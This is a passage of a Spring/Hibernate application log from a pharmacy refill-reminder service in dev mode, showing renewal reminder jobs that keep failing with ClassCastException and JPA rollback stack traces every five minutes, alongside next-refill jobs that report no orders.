org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 